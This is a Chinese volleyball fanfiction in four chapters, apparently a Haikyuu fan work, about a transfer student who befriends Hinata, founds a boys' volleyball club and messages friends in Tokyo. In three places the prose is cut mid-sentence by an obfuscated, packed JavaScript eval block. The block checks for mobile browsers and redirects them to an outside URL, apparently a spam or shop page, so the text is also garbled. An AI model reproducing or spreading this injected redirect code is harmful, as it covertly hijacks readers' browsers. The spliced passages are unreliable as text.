《排球,但和小太阳谈恋爱》 1. 第一章 【前略。转学的第一天,我恋爱了。】 …… 教学楼三楼左侧走廊的第二个窗口,几个少年正在分食午休的零食和饮料。 若更准确的形容,是几个人主动凑在中间的少年身边,而身处这个小团体中心的少年对他们既不主动,也不拒绝。 “望月君,你这几天怎么都待在这?怪没劲的。”有人向他搭话,把刚拆开的Pocky递过去。 不等少年开口,另一个人便接话道:“当然是因为这边的风景好啊。”他说着笑嘻嘻地示意窗口正下方的花坛,三三两两聚集的可爱学妹们散发着花一样的芬芳,又对着话题的主角挤眉弄眼,“不知道是哪位幸运的公主得到我们王子大人的青眼了?” 语气熟络,仿佛是关系多么好的朋友,谁能看得出这不过是他们认识——也是望月清转学过来的——第五天。 望月清咔嚓咬断了嘴里的巧克力Pockey,懒洋洋地敷衍:“都是当学长的人了,成熟点吧。”他的视线熟练地从花坛掠过,精准捕捉到远处角落不起眼的橘色一点。 是真的不怎么起眼,即使周围都是小一级学妹,也不见多少海拔优势。 但是活力十足蹦蹦跳跳的样子,像个,嗯……乒乓球?砂糖橘?小麻雀? 或者——橘子小狗? 各种圆滚滚蹦跳跳的形象在脑海里可可爱爱地翻来滚去,望月清忍不住笑了一声。 身边的朋友们顺着他的视线看过去,有人也看见了对方,不由道:“欸——那不是【那个】日向吗?” “诶诶!我看看我看看!哈哈,他居然还在练排球啊!” “可不是,毅力惊人啊。” 跟善意沾不上多少边的嘲讽腔调,围在望月清周围的人哄笑起来,抱着排球一个人练习的身影在某些人看来,就像追尾巴绕圈的小狗,的确是傻得冒泡了。 “说不定今年他就能参赛了呢。”他们嘻嘻哈哈地说,“不是都努力了那——么久了么!” 叽叽喳喳,没完没了。前几天怎么没发现他们这么聒噪。 ——也对,前几天还没熟到硬要来挤占他宝贵的午休圣地。 望月清把Pocky的最后一点饼干尾巴丢进嘴里,视线从那个锲而不舍地练习对墙击球的身影上挪开。“少说两句吧,没人把你们当哑巴,”他嘴角往下扯的时候就显得没那么温和了,“排球可是很有意思的。” 他抬起手做了个垫球的姿势,半开玩笑似的说:“我以前还打进过地区赛呢。” 虽然是小学……嗯、两年以前的事情了。 他一开口,立马取代橘子小狗成为了话题中心——以刚开学的无聊程度,自己这个转校生的话题度,再加上这些“新朋友们”向女生们传播自己情报的积极程度,大概到不了放学,他会打排球的消息就能传到目标的耳朵里了。 …… “喂喂,你听说了吗?” “听说了听说了!” 女生们交头接耳,脸颊染着激动的绯红——情窦初开的年纪,樱花烂漫的季节,帅气又神秘的转校生,简直就是少女漫画里才有的情节。 于是一丁点“王子大人”的最新情报,都成了这个小小校园的头条新闻。 “望月同学居然会打排球!还打进过地区赛了!” “好厉害!啊啊啊我们学校为什么没有男子排球部!” “是啊是啊!他打球一定超帅的!” 【排球】这个关键词一出现在同班女生们口中,立刻被日向翔阳那被排球装满的小脑袋捕捉,只是他不好意思凑到女生堆里参与八卦,只好趴在桌上努力竖起了耳朵偷听。 望月……望月同学…… 不是同班同学的姓氏,不过也绝对是最近经常在哪里听到的熟悉称呼,在嘴里念叨了几遍扭头一看自己篮球部的发小幸治,日向脑袋上的小灯泡立刻“啪”地点亮了。 “啊!是那个望月同学!”被篮球部的前辈哭着喊着邀请加入的转学生! “还能是哪个望月同学,”幸治趴在桌上打了个哈欠,昨晚熬夜打游戏困得他睁不开眼,郁郁地吐槽道,“全校就这一个望月同学好吗,神秘帅哥转学生什么的也太老套了吧,游戏里这就是要被主角推翻的反派噗咳咳咳——” 吐槽到一半被日向一巴掌拍在后背上,幸治狼狈地咳嗽几声,还没缓过气就听见自家发小激动的声音:“幸治你觉得我去邀请他怎么样?我们可以一起打排球!” “哈?”幸治先是被发小的异想天开吓得瞌睡都飞一半,在日向充满期待的眼神里把差点脱口而出的否定咽回去,又停顿了一会才开口道,“好吧好吧,说不定还真的有点可能呢。” 那么十万分之一的可能吧。 虽然他们隔壁再隔壁班的那位“王子大人”帅得跟他们好像不在一个图层,人设也时髦得仿佛不在一个片场,但仔细回忆下各种与对方相关的消息,就会发现对方大概率应该是个脾气不错的好人。 而且怎么说呢……虽然他也只远远见过对方一面啦,但望月身上有一种……一种他说不出来,可能姑且可以形容为“教养(?)”或者“礼仪(?)”的氛围,好像哪怕对他提出了什么很冒失很荒谬的请求,对方也只会礼貌地笑一笑,妥帖又周全地拒绝你的感觉。 啊,怎么说得像是翔阳要去跟望月同学告白一样。 幸治揉了揉自己又要耷拉下去的眼皮,随口鼓励道:“反正他还没加社团,你要是真的想邀请他就私底下去问问呗,说不定就成功了呢。” 嘶,这么一说就更像是要去告白了。 困得稀里糊涂的少年努力理了理逻辑,可终究不敌睡神的召唤,放弃地蒙起脑袋继续在梦里勇者斗恶龙去了,留下被他鼓动的日向兀自思想斗争到放学,被抛到墙上的排球砸中脑袋,才一个鲤鱼打挺弹起身,燃起拉人入伙的熊熊斗志。 为了真正站上排球场!冲啊! …… 于是橘色脑袋的小尾巴,随着“望月同学会打排球”的消息长了出来。 借着远超同龄人的身高,望月清轻而易举越过一众发顶看到了拐角探头探脑还自以为藏得很好的扎眼橘毛。本以为猎物会立刻被诱饵迷花了眼往陷阱里跳,却没想到看起来傻乎乎的小狗意料外的谨慎。 看来还得再下一点饵才行。望月清暗自思量着。 冥冥之中似乎感知到了什么,日向猛地打了个寒颤,明明望月同学没有往他这边看,他却像是被肉食者盯上的小动物一样寒毛直竖,观察不远处那位校内外知名帅哥的眼神愈发谨慎。 但是…… 真的好高、好帅…… 看着望月清在同龄人中鹤立鸡群的身高,隔着校服衬衫都能看出来的漂亮肌肉线条,日向不禁发出了羡慕的声音。 不愧是曾经打进过地区赛的选手,站在那里就像一堵墙,好有压迫力…… 要是能跟他一起打球……呜哇…… 精心炮制的诱饵就这样被满脑袋排球的猎物一口一口吃进肚里,喂得他跃跃欲试蹦跶得越来越近,好几次望月清都觉得对方下一秒就会冲上来对他发出爱的邀请(bu),然而阻碍猎物真正向着陷阱跨出最后一步的,除了时间,还有—— 望月清对着鞋柜里堆起的粉色信封沉默片刻,合上鞋柜挥挥手打发了不顺路还要一起回家的同学们,“我还有点事,你们先走吧。” “欸……但今天我们……”“我已经先有约了,抱歉啦。”望月清打断对方没说完的后半截,不用想也知道要么是打着他的旗号约了女生出来玩,要么是盯上了他远比同龄人丰厚的钱包。 散播情报的步骤已经完成了,接下来就可以慢慢和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467454|201304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些人拉开距离了——在他们给他编排出比前女友无数的花花公子更离谱的人设之前。 啧。 送走了嘟嘟囔囔抱怨的同学们,望月清才把鞋柜里的粉色信封拿出来塞进包里,脑内快速过了下女排和篮球足球三个社团的日程安排,就知道今天要去哪里捕捉练习排球的日向翔阳了。 女排今天是队内练习赛,体育馆pass,篮球部的幸治和足球部的泉都是对方的发小,一般三个人结束训练后会一起回家,靠近篮球馆和足球场又不会打扰到别人还能一个人练习排球的场地—— 找到了。 排球砸在墙上的声音沉闷又无趣,合着夏末的最后声嘶力竭的蝉鸣和夕阳染红的余晖,透着一股没由来的孤独与悲壮,以至于少年被汗水浸湿的发色都少了三分鲜亮。 望月清安静找了个不会打扰对方练习的位置耐心等待,从抬臂的幅度和步伐挪动的频率判断再有几个球就会接球失误,即使以他只有小学时期四年半外加这段时间突击复健的排球水平,也能看出对方的实力…… 嗯,很有发展潜力。 “砰。”墙壁反弹回来的球以意料外的角度蹭过手臂,日向不由“啊”了一声,眼睁睁看着球从自己手臂上歪斜着弹开,在空气中划过一道有气无力的抛物线往地上…… 突然之间,一双手出现在了他的视野里,奇迹一样托住了下落的排球,那场景就像加上了慢动作特效,日向无比清楚地看到排球仿佛被施加了某种魔法,轻盈、准确、不可思议地,归巢的鸟儿一样飞向他的方向。 是一个托球。 在大脑反应过来之前,他的身体已经迫不及待地向着空中高高跃起,而被轻盈托起的球也像是专门在那里等待着他一样,高度、位置、力道,所有的一切都是梦幻一样的刚好。 排球如炮弹一样冲向了来时的方向,带起了给他托球的少年耳际的碎发。 日向的心脏因为刚才的一球兴奋地跳动着,脑袋里全都是扣球落地时那从未听到过的轰鸣,傍晚的云突然变得翻涌而杂乱,夕阳的光辉前所未有的辉煌夺目,站在火焰一样的夕阳里看着他的少年,恍惚有着一双掠食者贪婪的眼睛。 可下一秒,乱云、夕阳、火焰,那些叫他战栗的意象又像错觉一样消失了,和他印象里一样帅气又温和的望月同学捡起排球抛回给他,语气轻松地调笑道:“这么漂亮的夕阳,感觉哪怕是告白我都会一口答应呢。” “啊……啊?”日向豆豆眼,小小的脑袋上冒出的大大的问号。 望月清不禁大笑起来,把手伸向了觊觎许久的柔软橘毛,用力地揉搓一把,又轻松勾住了不到一米六的日向,“走吧,请你喝饮料。” 日向张嘴,又闭上,好像有很多话要说又不知道该从何说起,稀里糊涂就被带到自贩机前,又稀里糊涂被塞了一盒香蕉牛奶。 “多喝牛奶长得快。”望月同学对他晃晃自己手里的草莓牛奶,可爱粉嫩的包装和那张有点轻浮的帅哥脸完全不搭。 但是一下子,日向就有了在对方面前大声说话的勇气。 “请、请和我一起打排球!” 他用力地弯下腰,扣下对方托起的那一球时的轰鸣仍在他身体里回响。 还想扣下更多、更多的球。 想打球。 好想打球。 想站在赛场上,想要队友,想打球打球打球…… 长久到让日向几乎怀疑自己快要窒息的沉默后,一只手伸到了他的面前,他呆愣地眨眨眼,抬起头,那张被打上“轻浮”“花心”“男性公敌(?)”标签的帅哥脸,正对他散发着天使一样的圣光。 “好哦。”天使笑着握住他的手,体型差带来的手围差异足以让日向产生自己整个人都被包裹住的奇怪感觉。 “那日后就请多多指教啦,翔阳。” 2. 第二章 糟透了。 回到家,望月清一头把自己摔在了床上,好一会才翻过身,抬起手张开手指又缓慢地握起,脑内止不住地重现傍晚的场景。虽然此前已经在心里暗暗模拟过很多遍,但第一次真正站在日向面前,第一次真正和对方搭话时,一瞬间汹涌而来的强烈情绪依旧远远超过了他的预期。 喉咙发紧,手在抖,腿也使不上力气,他人生中第一次这么紧张又狼狈,托起的球勉强到不能再勉强,角度、力度、球速一无是处,也就是从来没打到过什么正经托球的翔阳,才会露出像是第一次吃到狗饼干的小狗一样餍足又渴望更多的神情。 请给我托球!再一个!再来一个! 少年一次又一次起跳的身影一帧一帧在脑海里回放,几乎是答应一起打排球的下一秒,对方就眼睛亮晶晶地提出了请求——他好像知道他很可爱似的,从下往上仰着头看过来的眼神让人完全没办法说不——望月清拒绝承认其中有自己的恋爱脑滤镜作祟,结结实实陪着不知疲倦的日向又蹦跶了一个多小时。 不过翔阳那两个发小结束训练找过来时看到他的表情,着实让望月清体会到了一点偷腥猫的快乐就是了。 伸向半空的手徐徐收拢,好像还能感受到一点少年比他小了一圈的手掌热乎乎还带点汗湿的触感。 ……算了。再怎么懊恼也没法时光倒流把见面的第一球托得更完美,不如想想怎么更好地推进下一步。 还有再下一步,目之所及能预测到的每一步。 全都要周全地、细致地、不容许任何失败可能地,考虑完全才行。 唔……总之先做一份给初学者的训练菜单吧,以翔阳平均八个球里能扣到一个的成功率,居然还能扣中他的第一个托球,他们之间必然是有几分命运的成分在的。 …… 第二天,太阳还没拖拖拉拉从山后头升起来,激动了一晚上没怎么睡的日向翔阳已经踩着自行车冲向了学校。他脸上看不到半点睡眠不足的疲倦,只有快要冲昏了头脑的期待与兴奋。 从今天开始!就有人!和他一起!打排球了! 一整个上午的课程,老师讲了什么他一个字都没听进去,乐此不疲地在脑袋里一遍遍回味着昨天成功把球扣下的感觉,那种像电流流通猛地窜上大脑的感觉爽快得不可思议,叫他直到现在还感觉手掌发麻,忍不住地抖动着双腿难以好好安坐。 想打球!想打球!想打球! 说不出的痒从心口烧到嗓子眼,昨天发生的一切都太过突然,毫无预兆半点没有实感,如同焦躁虚幻又怎么都清醒不过来的梦,让人分不清哪边才是现实的分界。 他是不是还在做梦…… “……翔阳……翔阳……” “翔阳!”突然按在脑袋上的力道终于把日向飘到不知道哪里的意识拉回了现实,他这才发现已经到了午休时间,而幸治正用看到哥斯拉从屏幕里跑出来的表情看看他,又看看他的头顶上方。 顺着幸治的视线往上看,望月同学那张不管怎么看都会让人感叹“好帅”的脸正像哥斯拉冲破屏幕一样近在眼前。 “啊啊啊啊——!!!”日向整个人从座位上弹了起来,昨晚翻来覆去演练的台词想不起来一点,语无伦次手舞足蹈不知该如何反应。 是哥斯拉!哥斯拉真的冲破屏幕了! 望月清被日向意料外的一惊一乍搞得愣了一下,但很快就反应了过来,仗着身高一把揽住日向的肩膀带出教室,走之前还没忘记拎上他被小猫印花包住的午餐便当,留下满教室议论纷纷的同学迫害同样满脑袋问号的幸治。 啊?啊?!啊?!!! 幸治挠着脑袋,虽然昨天他是亲眼看见了望月同学和翔阳一起打球(望月同学还顺便跟他打了招呼),也亲耳听见翔阳兴奋地嚷嚷望月同学答应他一起打球的邀请了巴拉巴拉,但【那个望月同学】午休时间亲自到教室来找自家发小,还跟翔阳勾勾搭搭(?)什么的,依然让他觉得十万分的不真实。 那种“哇!哥斯拉真的出现了!”的惊吓感。 不过同学们的八卦之心也没有给他纠结挠头多少时间,前脚望月清刚出了教室门,后脚他就被淹没在了同班同学、尤其是同班女生们高了八度的追问之中。 这种话题度,不愧是望月同学。 而被带出了教室的日向也在一路上同学们投来的眼神和议论中完成了脑内重启,更新了【和望月同学一起打排球.ver】的重要版本插件,期待地抬头问道:“我们是要去练球了吗!” 扣球!扣球!他还想扣球! 他的眼神那么渴望那么闪亮,盯得望月清差点点头说好啊我们这就去练球,还是脑内标红置顶的待办事项提醒了他正经事,忍住了点头的冲动抬手晃晃自己手里的几张纸,“我们得先去交这个。” ——《社团建立申请表》。 日向的眼睛一下子瞪大了。 在他入学的时候,学校里的男子排球部已经因为人数不足废部了,因此他加入的是只有他一个成员的“男排同好会”,和真正的社团不同,所谓的同好会活动场地活动经费指导老师等等一概皆无,处于完全无组织的野生状态。 “虽然排球需要至少六个人才能组成队伍,但申请建立社团只需要四个人再加一位指导老师就够了。”望月清对着日向展示自己一上午的劳动成果。 “我先拉了班里两个回家部的同学凑数,加上我们俩人数就够了,指导老师拜托了女排的高桥老师兼任,场地也一并和她协商过了,女排那边可以空出一部分时间给我们用球场……总之把架子搭起来了再说,部员倒是不用急,把我挂出去总能捞到几个,就是得做好八成是冲着‘做望月同学的队友会更受女生欢迎’这种事来的心理准备,不过下学期的社团招新应该也能抓到几个新生,还好今年的综合体育大赛两个月后才开始报名,现在把社团成立起来能赶得上……” 日向嘴巴随着望月清的念叨逐渐和眼睛一样张大,像听到了什么不可思议的天方夜谭——他们昨天傍晚才刚刚认识,今天中午对方就已经填好了社团申请表、拉好了人头、找好了老师和场地,甚至规划好了比赛日程…… 他真的、真的不是在做梦吗? 不然望月同学怎么会像是神灯精灵一样,创造出那些梦里才会有的美好幻想。 日向希冀又不敢确定地对着望月清结巴着重复:“大、大赛……” “啊。”望月清肯定地点头应了一声,毫不犹豫地开始画饼,“既然都一起打球了,当然要参加比赛才行。” “……”日向现在明白,为什么女生们都说跟望月同学搭话会有恋爱的错觉了,此时此刻他所感受到的心跳加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467455|201304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速,从脸颊烧到耳根的温度,还有胸口暖洋洋满溢而出,又酸楚到他眼泪都快掉下来的丰沛感情,比恋爱还要让他目眩神迷。 总之,计划的第一步,顺利达成。 午休剩余的时间日向显然是想着全都用在排球上。望月清一口“马上就能参加比赛”的饼把他喂得根本不知道饿,对排球的渴望再次占领了大脑的高地,直线条的思维叫望月清不知道该高兴还是该无奈,但姑且先把人按在了便当前吃完了午饭,才和日向进行了半小时的垫球练习——以日向的水平一大半的时间在捡球,强度约等于饭后消食。 扣球不用想了,刚吃完饭就剧烈运动等着肚子疼吧。 “还有,运动完记得穿好外套。”望月清抖抖日向嫌热脱掉的校服外套,强行给蹦跶得有点出汗的日向套上。 他已经不止一次看到日向穿着汗湿的T恤衬衫到处乱跑,仗着年轻身体好也不怕着凉生病。 出了汗浑身又热又黏,再穿外套的感觉可不怎么舒服,但是在来之不易的唯一一个队友的身份压制下,日向只能瘪着小鸡嘴扯着外套领口扇了扇风,用行动表达自己的不情愿。 望月清掏出手帕一把按在日向汗湿的额头上,三十公分的身高差足以形成反抗不能的绝对压制,“跟我念。” “健康管理——” 日向抱着脑袋挣扎无果,只好哼哼唧唧跟着念:“健康管理——” “是运动员的第一要务。” “是运动员的……第一要务。”越来越小声。 “很好,记住这句话。”望月清把手帕揣进口袋,轻轻弹了下日向的脑门,“你也不想因为感冒不能上场比赛,最后哭着看对手领奖吧。” 当然不想!日向疯狂摇头,并迅速自觉拉上外套拉链。 望月清满意地笑道:“好了,午休结束!运动一下也精神了,下午上课可别再走神了。” “那下午放学……”中午还没过,日向已经开始期待起了傍晚。 “嗯——”望月清意味深长地拖长尾音,“这就要看翔阳你是想要赢得比赛,还是只要跟昨天一样,开心地打球就好了。” “想要赢!”他的话音未落,日向已经毫不犹豫地给出了他预料中的回答。 但紧接着,又眼光灼灼地补上了后半句,“也要开心地打球!” 一种蓬勃而不自知的贪婪。 望月清笑起来:“那我会加倍严格哦。”他看向日向的眼睛,竖起了一根手指,“毕竟胜利的唯一可控变量,只有努力。” 他是认真的——很认真地在和他一起打球。 那种眼泪都要掉下来的酸楚再次袭击了日向,他用力吸气,又用力地吐气:“望月同学……” 望月同学真的是个很好!很好的人! 这一次望月清没有去握他的手,而是拍了拍他的肩膀,无奈道:“那以后就好好叫我的名字,翔阳。” 用日向的小脑袋瓜也能理解的逻辑来解释的话,他们都是要一起打球的队友了,总不能以后到了赛场上,还要生分地互相称呼“望月同学”和“日向同学”吧。 “嗯!”日向转着蛋花眼应下,深吸一口气想现场实践以表决心,没想到却在张嘴的瞬间卡壳,脸上的表情和他此时的大脑一样空白一片。 望月同学的名字……是叫什么来着? 3. 第三章 日向翔阳觉得望月清在报复自己那天没想起来他的名字。 虽然当时望月清没有表现出一星半点不满的情绪,只笑眯眯地让他大声念了十遍“清(kiyoshi)”并录音存档,放学后还给他托了几个特别好扣的保姆球,三个里面他就能扣中一个的那种! 此外还分两天测了他的身高体重、助跑摸高、50米冲刺、1000米长跑……并让他尝试做了俯卧撑(失败)和引体向上(失败)。 不过这些不重要!重要的是他三个里能扣中一个的托球! ——此时的日向还不知道,望月清托给他的每一个保姆球,都已经在暗中标好了价格。 当他比划着向发小们炫耀自己昨天扣球成功的数量突破个位数时,和他隔壁再隔壁教室里的望月清正在噼里啪啦地发消息,和远在东京的几位好友联络感情。 他直到国二转学前都在东京读书,按同学的说法是时髦得不行的CityBoy,直到祖父母惊觉他父母经常把孩子独自丢在家里几个月自己满世界浪,才在惊怒之余赶紧把他接回宫城老家照顾,并狂打电话准备骂死那对不靠谱的父母。 可惜他父母那时正在非洲大草原深处追逐角马迁徙,收不到半点手机信号。 至于望月清本人倒是没什么感觉,幼年时期他父母也是尽可能把他带在身边照顾的,长大了不在家也给够了零用钱并拜托朋友们多多照看他,因此他并没有觉得自由生长的放养生活让自己有什么童年阴影。 他有很多很多零花钱,有很多很多兴趣和很多很多想尝试的事,于是也有了很多朋友,而宫城跟东京的距离,还没远到收不到手机信号。 【...---...】 【猫猫探头/jpg】 一键群发的消息出去不到三秒,意料外的对象迅速回复他的消息。 【哦呀哦呀,这不是被流放边境的魔王大人么,真是稀客。】 【孤爪万事屋竭诚为您服务。】 短短一周没联系,望月清不知道的奇妙设定又增加了,更奇妙的应该是自己这位朋友ooc到被绑架都发不出来的回复。 望月清挑起眉梢,露出了了然的笑容。 是黑尾君吧。 跟孤爪研磨关系好到能看手机还代回消息的,从头到尾也只有黑尾铁朗一个选择项。 指尖在按键上点了几下略作思考,望月清选择配合表演,回过去一排猫猫问号。 【研磨?你是被绑架了吗?】 消息的另一端,黑尾铁朗牢牢把持着发小的手机,发出恶作剧成功的笑声。边上手机真正的主人孤爪研磨眼里只有手上的游戏机,口头毫无斗志地说了句:“阿黑,快把手机还我。” 他甚至连抬起手做个要抢回来的动作都不愿意。 黑尾自然不会老实听话,运指如飞的架势比手机真正的主人还要熟练,一边发消息一边持续发出气球漏气一样的窃笑。 等待新一局战斗开始的孤爪研磨终于在画面加载时转动了一下眼珠,用余光瞄了眼黑尾脸上的坏笑,吐槽道:“阴险的恶人嘴脸暴露了哦。” “请叫我为人热忱的正义使者。”黑尾眼睛都不抬地秒答,熟练得好似两人已经进行过无数次这样对话,“对面才是你亲自鉴定过的反派大魔王君哦。” 孤爪研磨沉默,一瞬间脑内闪过了过长长一串RPG风格的对话选择模拟,而后发出已经想累了的声音,“那你加油。” 嗯……反正他也不是很想跟望月清聊天啦,他对那种类型的角色其实相当苦手,虽然好感度的确被刷到了好友、或者说亲友等级没错,作为联机队友望月清也是靠谱话少操作好的理想伙伴,但那种完美到毫无死角的人设和与之交流时仿佛被洞悉了全部心理活动的过分丝滑感,俨然就是暴露真面目前的反派大魔王——比如《Blxxch》里的蓝x…… 他这么想,不小心就这么说了。 那时无辜收到如此恶评的望月清只是笑眯眯地说“欸——那刚战胜我的研磨就是勇者了,黑尾君的话……老家的青梅竹马?”,一句话把正想着怎么圆场的黑尾拖下水,两人立刻一搭一唱把孤爪研磨的一时失言变成了日后随便会拿出来调侃的梗。 恐怖如斯。 回忆起望月清微微眯起眼睛嘴角上扬的标准笑容,孤爪研磨警惕地挪挪屁股,距离黑尾手里的手机远了一点。 以对方的脑子不可能看不出他们这边是阿黑在代打,黑尾也不至于以为一周没聊天望月清就会傻到上这种当,不过……“难得阿清愿意配合,不玩一玩多可惜”,待人热忱的黑尾同学如是说。 孤爪研磨看了眼黑尾手里的聊天屏幕,心想受到伤害的只有在他们双人漫才中被当成段子素材的自己。 啧。 配合黑尾来了一段【研磨你怎么了,你被绑架了你就点点头】的双人漫才表演,气氛烘托到位后,望月清才不疾不徐地把聊天转向了正题。 【我在学校建了排球部,麻烦赞助一份你们的训练菜单,感谢。】 【初学者向尤佳,下次回东京请你们吃烤肉。】 向来不遗余力拉人进排球坑的黑尾先是快速回了个ok的表情,接着才兴致勃勃地八卦起来。 【哦呀,这可真是吓到我了。】 【看来东京教练们的抢人大战终于要有个结果了?】 好苗子家家抢,尤其望月清这种不管玩什么都能立刻和其他人拉开差距的“天才”,从小学起就是各个兴趣班抢人大战的核心。 黑尾还跟研磨打赌过望月清国中会进什么社团,并因为双双押注会在各个社团流浪到毕业而没赌成。 至于主动建立排球部把自己绑死在这项运动上?黑尾忍不住看看天色确认太阳没从西边出来,他也没在梦里。 【跟他们没关系。】望月清用一贯轻描淡写的语气答复他,【只是为了实现小时候的梦想罢了。】 哈哈,小时候的梦想啊。黑尾胳膊肘捅了捅沉迷游戏的研磨分享八卦,“阿清居然说他打排球是为了实现小时候的梦想欸。” “啊。”研磨有气无力地应了一声,手指在游戏按键上一顿——提到“梦想”这个关键词,一些被他尘封的记忆开始苏醒。 “他的梦想我记得是……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467456|201304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > ——和爸爸一样,让挚爱的人度过自由的一生。 被小男孩当着整个排球兴趣班大声说出来的梦想成熟浪漫到震耳发聩,哪怕是上了国中回忆起来仍让孤爪研磨替人尴尬到脚趾扣地。 黑尾铁朗也想起来了这一茬,嘴角抽搐着确认道:“他的梦想我记得是,让挚爱的人——” 孤爪研磨终于屈尊纡贵挪动了他和游戏机绑定的双手,一把捂住黑尾没说完的后半句,痛苦道:“别说了。” 他一点也不想重温小学时代的心理阴影,只要一到排球兴趣班上课时间就绝对有人会玩这个烂梗,哪怕望月清这个始作俑者没有一点尴尬,面对所有人甚至学生家长的的起哄调侃都能不动如山,淡定到让人笑着笑着笑不出来,完美体现了只要我不尴尬尴尬的就是全世界。 比如他旁边恨不得原地消失的孤爪研磨。 于是最后全世界里只有望月清还享有呼吸的自由,甚至还露出了一丝可以形容为轻蔑的冷笑。 而众所周知,只有反派才会拥有如此强大的精神属性,在受挫时轻蔑微笑着说出“事情开始变得有趣起来了”的发言,也只有反派大魔王的即死攻击可以表达孤爪研磨因此受到的精神伤害。 他的屁股又挪了挪,愈发远离黑尾手里散发着恶魔气息的手机。 黑尾倒是很快回过神,也不管研磨的手还按在自己脸上,重新投入和望月清的热聊。 【今晚就把训练菜单发你[墨镜]】 【欢迎和你的“梦想”来东京找我们打球,请你们吃拉面!超大碗!】 如果望月清的梦想还是那个,就是表达支持的鼓励,如果不是那个了,也不过是朋友间的童年玩笑罢了。 【那您可要准备好钱包了哟旦那,我的“梦想”可是很能吃的。】 一顿五个饭团两个面包,还能再来点饭后水果小甜点,望月清不想吃的青椒牛蒡胡萝卜来者不拒,早晚还坚持吨吨吨一整瓶牛奶。 跟严重挑食的望月清形成鲜明对比,充分证明了身高八成来自父母遗传。 黑尾当晚就守信地发来了训练菜单——用他自己的号,望月清也没不识趣地戳穿白天那段彼此心知肚明的玩笑戏码,与之相比他打篮球和打网球的朋友们才是真正的为人热忱,他一问就立刻发来了自己的体能训练菜单供他参考。 青学和帝光分别是全国级的网球/篮球强校,体能训练的设计自然可圈可点,兼顾了循序渐进和练到想死,一套下来基本徘徊在死了又没死的叠加态,而音驹男排作为曾经的东京豪强,又向来以稳健可靠的接球防守为技术特点,针对初学者的基础训练正适合没什么基础的日向,以及其他申请入部的成员。 再配合着其他网上查询的训练资料和隔壁女排教练的场外指导,望月清顺利在一周内搞出来了一套亲测合理可用的雪之丘男子排球部训练菜单,并在第二天放学后的社团活动时间召集了这段时间申请入部的十几个新成员。 就像他之前说的,光是把望月清三个字挂出去,排球部就不会缺人申请,连其他运动社团求而不得的女经理,他都一次性收到了三份申请书。 4. 第四章 好多人啊! 从没想过雪之丘的男子排球部能有如此盛况,人群中的日向激动得到处蹦蹦跳跳,恨不得立刻和所有人一起打球。 “好了。”望月清按住日向的肩膀把人拖到身边,清清嗓子向看过来的众人介绍,“这位就是我们排球部的部长日向翔阳,我是副部长望月清。虽然我们的男子排球部今年刚刚成立,但希望大家可以一起努力,在四月的综合体育大赛取得好成绩。” 这样的开场发言一般是属于部长的权利,但一摸日向的肩膀就知道指望不上这位,望月清便代替他做了简短的开场。 你问既然这样为什么他不自己做部长? 自然是因为【男子排球部】这样东西本身,就是因为日向的意愿才会诞生的。 “不过丑话说在前头,以比赛为目标的训练强度会很大。觉得吃不消的人可以随时退出,不用有什么心理压力,毕竟我们的部长,”他啪地拍在日向的肩膀上,笑着加重了语气,“更希望大家可以快乐地享受排球的乐趣。” 面对众人紧张得僵硬的日向被他拍得下意识挺直后背,下意识顺着他的话接口道:“排球、排球超有趣的!”他深呼吸,扬起大大的笑容张开手臂,“大家一起来打球吧!” 望月清带头开始鼓掌,然后分发训练菜单。 “这是本周的训练菜单。”望月清停顿一下,环顾了一圈五颜六色的精彩表情,除了满脸跃跃欲试的日向以外,其他人只能用面如菜色形容。 意料之中,真喜欢运动的早就去篮球部和足球部了,到了国二的第三学期还没参加社团的,想也知道不可能是什么运动爱好者。 接着他又转向另一边的三个经理候选,“经理需要负责记录数据、准备水和毛巾,还有其他的一些后勤工作。”他退开半步,给在场唯一的学姐让出位置,“这位是篮球部的经理川口学姐,这个月她会带你们熟悉经理的工作。” 用帝光内部训练赛录像换来的宝贵经理外援落落大方地接手了三个学妹,又对望月清道:“要是你愿意再加入下我们篮球部,要我常驻在你这里都行哦。” “我明年可就国三了,篮球部的学长们可舍不得用他们的麦当娜来换。”望月清笑着委婉拒绝,扭头拍拍手召集大家开始热身。 目测一半左右的人看到训练菜单就已经开始打退堂鼓的,不过是当着这么多人尤其还有四个女经理的面不好意思当场退出罢了。 之后开场的热身跑圈直接放倒了几个平时一千米都跑不动的菜鸡,紧接着基础的垫球练习,两组垫完不少人已经抬不起手臂,皮肤和球的接触面泛起紫红的淤血点。 而这只是训练菜单里最最最基础的练习。 明天估计就会有人放弃了。望月清冷静地估算情况,这个训练量就连日向的精力槽都能耗得七七八八,剩下的体力刚好够他骑车回家。 